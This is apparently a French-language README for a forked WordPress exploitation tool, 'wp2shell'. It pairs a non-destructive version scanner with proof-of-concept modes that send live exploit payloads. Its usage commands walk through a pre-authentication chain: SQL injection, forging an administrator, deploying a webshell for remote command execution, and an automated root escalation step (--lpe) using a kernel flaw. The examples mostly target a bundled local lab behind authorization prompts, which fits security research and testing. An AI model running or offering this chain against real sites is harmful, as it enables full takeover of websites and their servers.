wp2shell-scanner

par @bahartanir (katherinepierce) Fork de ZephrFish/wp2shell-scanner avec des améliorations supplémentaires. Recherche par Adam Kues (Assetnote) et Mustafa Can İPEKÇİ (nukedx).

Outils de détection et de validation pour l'exposition du cœur de WordPress à wp2shell (CVE-2026-63030 / CVE-2026-60137). Les modes sont sélectionnés avec un drapeau, et la cible est positionnelle. --scan identifie la version du cœur et confirme que la route REST /batch/v1 est accessible sans envoyer de payload d'exploitation ; les modes --check/--read/--shell/--rce/--root-prereq sont le PoC de validation pour un usage autorisé en laboratoire.

wp2shell.py est un script unique, ne reposant que sur la bibliothèque standard — aucune dépendance externe. Chaque invocation affiche la bannière sur stderr avant de s'exécuter (elle reste hors de stdout, donc la sortie JSON de --scan -j n'est pas affectée).

Drapeaux de commande

Exactement un drapeau de mode est requis ; la cible est positionnelle (une URL pour chaque mode, ou une liste d'hôtes pour --scan).

Synopsis

wp2shell.py (--scan | --check | --read | --shell | --rce | --root-prereq)
            [targets ...] [-f FILE] [-j] [-t THREADS] [--prefix PREFIX]
            [--delay DELAY] [--repeats REPEATS] [--preset PRESET] [--expr EXPR]
            [--max-len MAX_LEN] [--user USER] [--password PASSWORD] [--cmd CMD]
            [-i] [--no-cleanup] [-y] [--sleep SLEEP] [--rounds ROUNDS]
            [--route {auto,rest-route,wp-json}] [--proxy PROXY] [--authorized]
            [--timeout TIMEOUT]

Drapeaux de mode (en choisir un)

Drapeaux d'option

Analyse approfondie d'origine : https://blog.zsec.uk/wp2shell-code-trace-deep-dive/

Modèle Nuclei

nuclei -t wp2shell-exposure.yaml -u https://target

Analyse (non destructive)

Hôte unique, plusieurs hôtes ou un fichier.

python3 wp2shell.py --scan https://target
python3 wp2shell.py --scan host1 host2 host3
python3 wp2shell.py --scan -f hosts.txt

Options : -f/--file fichier d'hôtes (un par ligne), -j/--json sortie JSON, -t/--threads concurrence (défaut 10).

PoC de validation

Les modes --check/--read/--shell/--rce/--root-prereq envoient de véritables payloads d'exploitation. Exécutez-les uniquement contre le lab local fourni, ou d'autres systèmes que vous possédez et que vous êtes expressément autorisé à tester. --shell et --rce effectuent une exécution de code à distance et sont destinés au lab/aux cibles autorisées ; --rce sur un hôte hors loopback nécessite --authorized. --root-prereq utilise le même plugin de diagnostic à jeton pour vérifier les prérequis shell→root, mais il n'exécute pas d'élévation de privilèges locale.

--shell nécessite un mot de passe admin récupéré/cassé. --rce est la chaîne pré-auth sans identifiants : il forge son propre administrateur via la SQLi (oEmbed → changeset → parse_request réentrant), puis déploie le webshell — aucun mot de passe requis.

--shell, --rce et --root-prereq demandent une autorisation interactive y/N avant l'envoi de tout payload d'exécution de code (ils s'interrompent sur un stdin non interactif/EOF). Passez -y/--yes pour ignorer l'invite pour l'automatisation contre le lab ou une cible autorisée.

docker compose -f poc/lab/docker-compose.yml up -d
python3 wp2shell.py --check http://127.0.0.1:8080
python3 wp2shell.py --read  http://127.0.0.1:8080 --expr @@version
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' --cmd id
python3 wp2shell.py --shell http://127.0.0.1:8080 --user admin --password 'Summer2026!' -i
python3 wp2shell.py --rce   http://127.0.0.1:8080 --cmd id
python3 wp2shell.py --rce   http://127.0.0.1:8080 -i
python3 wp2shell.py --root-prereq http://127.0.0.1:8080 --user admin --password 'Summer2026!'
python3 wp2shell.py --lpe   http://127.0.0.1:8080

Les diffs de patch utilisés pour étayer le PoC sont enregistrés sous poc/diffs/, avec les notes de recherche dans poc/RESEARCH.md. La SQLi est entièrement reconstructible à partir du correctif author__not_in. La chaîne --rce sans identifiants (oEmbed → changeset → réentrée → création d'admin) reproduit la RCE de l'installation stock par défaut contre le lab fourni ; --shell est la voie alternative via un identifiant admin récupéré/cassé pour le téléversement authentifié du plugin et l'exécution de commandes.

Élévation de Privilèges Locale (--lpe)

--lpe enchaîne la RCE pré-auth complète (SQLi → forge admin → webshell) avec une tentative automatisée d'élévation vers root. Il essaie ce qui suit dans l'ordre, en s'arrêtant au premier succès :

python3 wp2shell.py --lpe http://127.0.0.1:8080
python3 wp2shell.py --lpe http://127.0.0.1:8080 -y          # skip auth prompt
python3 wp2shell.py --lpe https://target --authorized        # non-loopback

--lpe sur une cible hors loopback nécessite --authorized. Sur le lab fourni (image de base Ubuntu 22.04 avec un noyau GameOverlay vulnérable) CVE-2023-2640/32629 réussit sans compilateur.